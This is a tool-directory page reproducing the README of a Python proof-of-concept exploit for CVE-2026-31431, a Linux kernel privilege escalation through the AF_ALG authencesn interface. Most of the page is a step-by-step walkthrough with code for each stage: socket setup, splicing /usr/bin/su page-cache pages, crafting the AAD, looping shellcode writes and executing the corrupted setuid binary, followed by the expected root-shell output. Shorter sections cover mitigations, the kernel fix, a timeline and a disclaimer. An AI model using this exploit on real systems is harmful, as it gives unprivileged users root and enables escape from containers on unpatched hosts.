Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431-python-copyfail-POC — Python exploit for CVE-2026-31431, a Linux kernel privilege escalation via page cache corruption of setuid binaries, achieving root access. | Kitploit
Tools/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubjulichaan/cve-2026-31431-python-copyfail-poc

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31431-python-copyfail-POC

Python exploit for CVE-2026-31431, a Linux kernel privilege escalation via page cache corruption of setuid binaries, achieving root access.

View Repository
3 months agoNot yet reviewed

CVE-2026-31431: Copy Fail - Linux Kernel Privilege Escalation

Copy Fail (CVE-2026-31431) is a critical logic bug in the Linux kernel's cryptographic subsystem that allows unprivileged users to achieve privilege escalation to root. The vulnerability affects Linux kernels 6.0.0 through 6.18.x across all major distributions.

This repository contains the real exploit that triggers the vulnerability by corrupting the page cache of setuid binaries and executing arbitrary code with root privileges.


What is Copy Fail?

Copy Fail is a logic bug that allows unprivileged users to write arbitrary 4-byte chunks directly into the kernel's page cache of any readable file on the system, including setuid binaries.

Key characteristics:

  • Deterministic: No race conditions or timing windows needed
  • Portable: Same exploit works across all vulnerable distributions (Ubuntu, RHEL, Amazon Linux, SUSE)
  • Stealthy: On-disk files are never modified; only the in-memory page cache is corrupted
  • Containerized: Bypasses container boundaries since page cache is shared across the host
  • Simple: Requires only Python 3.10+ and standard library modules

Technical Details

The Root Cause: In-Place AEAD Operations

The vulnerability stems from a 2017 optimization in algif_aead.c (commit 72548b093ee3) that changed AEAD operations from out-of-place to in-place:

Before (safe - 2015):

root@kitploit:~
TX Scatterlist (input)  ← TX buffer (user data from file)
RX Scatterlist (output) ← RX buffer (user's output area)
                          
Separate scatterlists = page cache pages are read-only

After (vulnerable - 2017):

root@kitploit:~
Combined Scatterlist:
[ RX buffer ] [ Page cache pages chained via sg_chain() ]
↑                ↑
req->src = src   req->dst = dst  (SAME scatterlist)

Page cache pages are now in a WRITABLE scatterlist!

The combined scatterlist looks like:

root@kitploit:~
[AAD + Ciphertext from RX buffer] || [Tag from /usr/bin/su page cache]
                                  ↑
                                  Boundary
                                  (authencesn writes PAST this point)

The Trigger: authencesn Algorithm Scratch Write

The authencesn algorithm is an AEAD wrapper used by IPsec for Extended Sequence Numbers (ESN). It performs HMAC computation but needs to rearrange bytes within the AAD (Associated Authenticated Data).

In the kernel code (crypto/authenc.c), during decryption:

root@kitploit:~
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // read AAD bytes 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // temporary: overwrite dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← KEY LINE
                                                        // write 4 bytes at dst[assoclen+cryptlen]

The problem: The third write occurs at offset assoclen + cryptlen. In the vulnerable in-place path:

  • Normal case: This offset is within the user's RX buffer (harmless)
  • Vulnerable case: This offset is beyond the user's buffer and falls into the chained page cache pages (CRITICAL)

The kernel treats this position as "expendable scratch space" and writes the value there permanently. The original bytes at this position in the page cache are lost forever.

The Attack Chain

root@kitploit:~
1. Attacker opens AF_ALG socket → binds to authencesn(hmac(sha256),cbc(aes))
   (No privileges needed; AF_ALG is available to unprivileged users by default)

2. Attacker opens target file: /usr/bin/su (setuid-root binary)

3. Attacker uses splice() to deliver /usr/bin/su's page cache pages
   into the AF_ALG socket as the "ciphertext" and "tag"
   
4. Attacker sends sendmsg() with AAD containing:
   - Bytes 0-3: padding
   - Bytes 4-7: seqno_lo = 4-byte value to write (controlled by attacker)
   - Bytes 8+: padding

5. Attacker calls recvmsg() which triggers the AEAD decrypt operation
   
   Inside authencesn's decrypt in kernel space:
   a) Kernel reads AAD bytes 0-7
   b) Kernel writes seqno_hi at dst[4..7] (temporary, then restored)
   c) Kernel writes seqno_lo at dst[assoclen + cryptlen]
      ↓
      THIS WRITE CROSSES FROM USER BUFFER INTO PAGE CACHE PAGES
      ↓
      4-byte write to /usr/bin/su's page cache occurs HERE
   d) Kernel computes HMAC (fails validation - ciphertext is fabricated)
   e) recvmsg() returns error
   
   BUT: The 4-byte write ALREADY PERSISTS in the page cache

6. Attacker repeats steps 2-5 for each 4-byte chunk of shellcode

7. Attacker executes /usr/bin/su
   - Kernel loads the binary from PAGE CACHE (which now contains shellcode)
   - Binary is setuid-root
   - Shellcode executes with UID=0
   - Attacker has root access

Why This Works


The Exploit: Step-by-Step

Step 1: Socket Setup

root@kitploit:~
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # Request socket for AEAD operations

Create an AF_ALG socket bound to the authencesn AEAD template.

Step 2: Open Target Binary

root@kitploit:~
target_fd = os.open("/usr/bin/su", os.O_RDONLY)

Open the setuid binary that will be corrupted. Any readable file works, but setuid binaries are chosen for privilege escalation.

Step 3: Create Pipe for Splice

root@kitploit:~
pipe_rd, pipe_wr = os.pipe()

Create a pipe that will act as an intermediary for splice() operations. The pipe buffers will hold references to page cache pages.

Step 4: Splice File to Pipe

root@kitploit:~
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

Use splice() to transfer cryptlen bytes from /usr/bin/su starting at write_offset to the pipe.

Why this matters: splice() transfers data between file descriptors without copying. It passes direct references to kernel page cache pages. These pages stay in the pipe's internal buffer structure.

Step 5: Craft AEAD Parameters

root@kitploit:~
assoclen = 8          # AAD length: bytes 0-7
cryptlen = 32         # Ciphertext length (== HMAC-SHA256 output)
authsize = 32         # Tag length
write_offset = 0x2000 # Offset in /usr/bin/su to write to

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

The AAD (Associated Authenticated Data) contains:

  • Bytes 0-3: Padding
  • Bytes 4-7: The 4-byte value to write (seqno_lo) ← Attacker controls this
  • Rest: Padding

The authencesn algorithm will use bytes 4-7 of this AAD in its scratch write.

Step 6: Send AAD

root@kitploit:~
req_sock.sendmsg([aad], [], socket.MSG_MORE)

Send the AAD to the AF_ALG socket. The MSG_MORE flag indicates that ciphertext/tag will follow.

Step 7: Splice Ciphertext+Tag to Socket

root@kitploit:~
os.splice(pipe_rd, req_sock.fileno(), cryptlen)

Transfer the page cache pages from the pipe to the AF_ALG socket. Now the kernel's scatterlist contains:

root@kitploit:~
Scatterlist chain:
[ AAD (from RX buffer) ] || [ Ciphertext (from RX buffer) ] → [ Tag (page cache pages) ]
                                                               ↑
                                                     Still references
                                                     /usr/bin/su's pages

Step 8: Trigger the Vulnerability via recvmsg()

root@kitploit:~
try:
    req_sock.recv(1024)
except OSError:
    pass  # Expected to fail with invalid HMAC

Call recvmsg() to trigger the AEAD decrypt operation:

Inside authencesn in kernel space:

  1. Kernel reads AAD bytes 0-7
  2. Kernel temporarily overwrites AAD bytes 4-7 (seqno_hi)
  3. Kernel writes bytes 4-7 of the AAD (seqno_lo) to dst[assoclen + cryptlen]
    • This offset is: 8 + 32 = 40 bytes into the scatterlist
    • The RX buffer is only ~48 bytes total
    • Writing at byte 40 CROSSES into the chained page cache pages
  4. Kernel restores AAD bytes 4-7 from the temporary location
  5. Kernel computes HMAC over the rearranged data → FAILS (fabricated ciphertext)
  6. Kernel returns error
  7. But the 4-byte write at offset 40 already happened and persists

Step 9: Repeat for Each Shellcode Chunk

root@kitploit:~
for i in range(0, len(shellcode), 4):
    chunk = shellcode[i:i+4]
    exploit_target_file("/usr/bin/su", base_offset + i, chunk)

The exploit loops, writing 4-byte chunks of shellcode at sequential offsets in /usr/bin/su's page cache.

Step 10: Execute the Corrupted Binary

root@kitploit:~
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)

Execute /usr/bin/su:

  • Kernel loads the binary from the page cache (corrupted version with shellcode)
  • Shellcode is at known offset
  • Binary's setuid bit is still set
  • Shellcode executes with UID=0
  • Root shell spawned

Running the Exploit

Prerequisites

  • Linux kernel 6.0.0 - 6.18.x (vulnerable versions)
  • Python 3.10+ (for os.splice() support)
  • AF_ALG and authencesn modules must be loaded:
    root@kitploit:~
    lsmod | grep -E 'af_alg|algif_aead|authencesn'
    
  • Local user access to the system
  • /usr/bin/su must be setuid and readable

Execution

root@kitploit:~
python3 exploit.py

Expected output on vulnerable system:

root@kitploit:~
[*] CVE-2026-31431 (Copy Fail) Linux Kernel Privilege Escalation
[*] Target: /usr/bin/su (setuid-root binary)

[*] Kernel version: 6.12.0-1007-aws
[+] Kernel 6.12.x is in vulnerable range (6.0 - 6.18)

[+] Found /usr/bin/su (setuid-root binary)
[+] Kernel vulnerability check: AF_ALG + splice + authencesn

[*] Beginning page cache corruption...

[*] Injecting 33 bytes of shellcode into /usr/bin/su
[+] Wrote chunk 0 at offset 0x2000
[+] Wrote chunk 1 at offset 0x2004
...
[+] Shellcode injection successful!
[*] Executing /usr/bin/su to trigger shellcode...

# id
uid=0(root) gid=1001(user) groups=1001(user)

Mitigations

Immediate (Before Kernel Update)

Disable AF_ALG AEAD support:

root@kitploit:~
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit

This prevents the exploit from accessing AF_ALG's AEAD interface while keeping other AF_ALG functionality intact.

Unload vulnerable modules:

root@kitploit:~
sudo rmmod algif_aead
sudo rmmod authencesn

Block AF_ALG socket creation via seccomp (for containerized environments):

root@kitploit:~
# In container security policy, deny socket(38, SOCK_SEQPACKET) syscalls

Long-term (Kernel Update)

Update to Linux 6.19+ which includes the fix (commit a664bf3d603d).

The fix reverts algif_aead.c to out-of-place AEAD operations:

root@kitploit:~
// Before (vulnerable in-place):
aead_request_set_crypt(&areq->cra_u.aead_req, 
                       rsgl_src,        // RX SGL (input)
                       rsgl_src,        // RX SGL (output) - SAME
                       used, ctx->iv);

// After (fixed out-of-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
                       tsgl_src,        // TX SGL (input)
                       rsgl_src,        // RX SGL (output) - DIFFERENT
                       used, ctx->iv);

With separate source and destination scatterlists:

  • Input: TX scatterlist (may contain page cache pages from splice)
  • Output: RX scatterlist (user's buffer)
  • Page cache pages are never in a writable destination
  • authencesn's scratch write stays within the user's buffer (harmless)

Vulnerability Timeline


Affected Versions


Why This Vulnerability Matters

  1. Cross-Distribution: Same attack works on Ubuntu, RHEL, Amazon Linux, SUSE
  2. No Privileges Needed: Local unprivileged user → root
  3. Container Escape: Shared page cache means pod-to-host compromise possible
  4. Kubernetes Impact: Node escape vector in Kubernetes clusters
  5. Logic Bug: Not an off-by-one or buffer overflow; pure logic flaw
  6. Stealthy: No system crashes, no logs, disk files untouched
  7. Reliable: No timing windows or race conditions to win

References

  • Xint Research Disclosure: https://xint.io/blog/copy-fail-linux-distributions
  • Kernel Fix Commit: https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
  • Vulnerable Commit: https://github.com/torvalds/linux/commit/72548b093ee3
  • CVE Details: CVE-2026-31431
  • Research Team: Xint Code / Theori

Disclaimer

This exploit is for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing vulnerabilities.

Download Tool
AspectExplanation
No CrashesOperation completes from kernel's perspective
DeterministicNo race conditions; synchronous and reliable
PersistentPage cache corruption survives even after recvmsg() error
InvisibleOn-disk file untouched; standard integrity tools detect nothing
UniversalSame code works on all distributions; no per-distro offsets needed
PortableWorks on x86-64 and ARM64 architectures
DateEvent
2017-Q3Vulnerability introduced in algif_aead.c (commit 72548b093ee3)
2026-03-23Reported to Linux kernel security team
2026-03-24Kernel team acknowledges vulnerability
2026-03-25Patches proposed and reviewed
2026-04-01Patches merged to mainline kernel (commit a664bf3d603d)
2026-04-22CVE-2026-31431 assigned
2026-04-29Public disclosure (Xint Research)
SeriesStatusDetails
Linux 5.x✅ SafePre-dates vulnerability
Linux 6.0 - 6.18❌ VulnerableAll minor versions affected
Linux 6.19+✅ SafeContains fix (commit a664bf3d603d)
Linux 7.0+✅ SafeAfter fix merged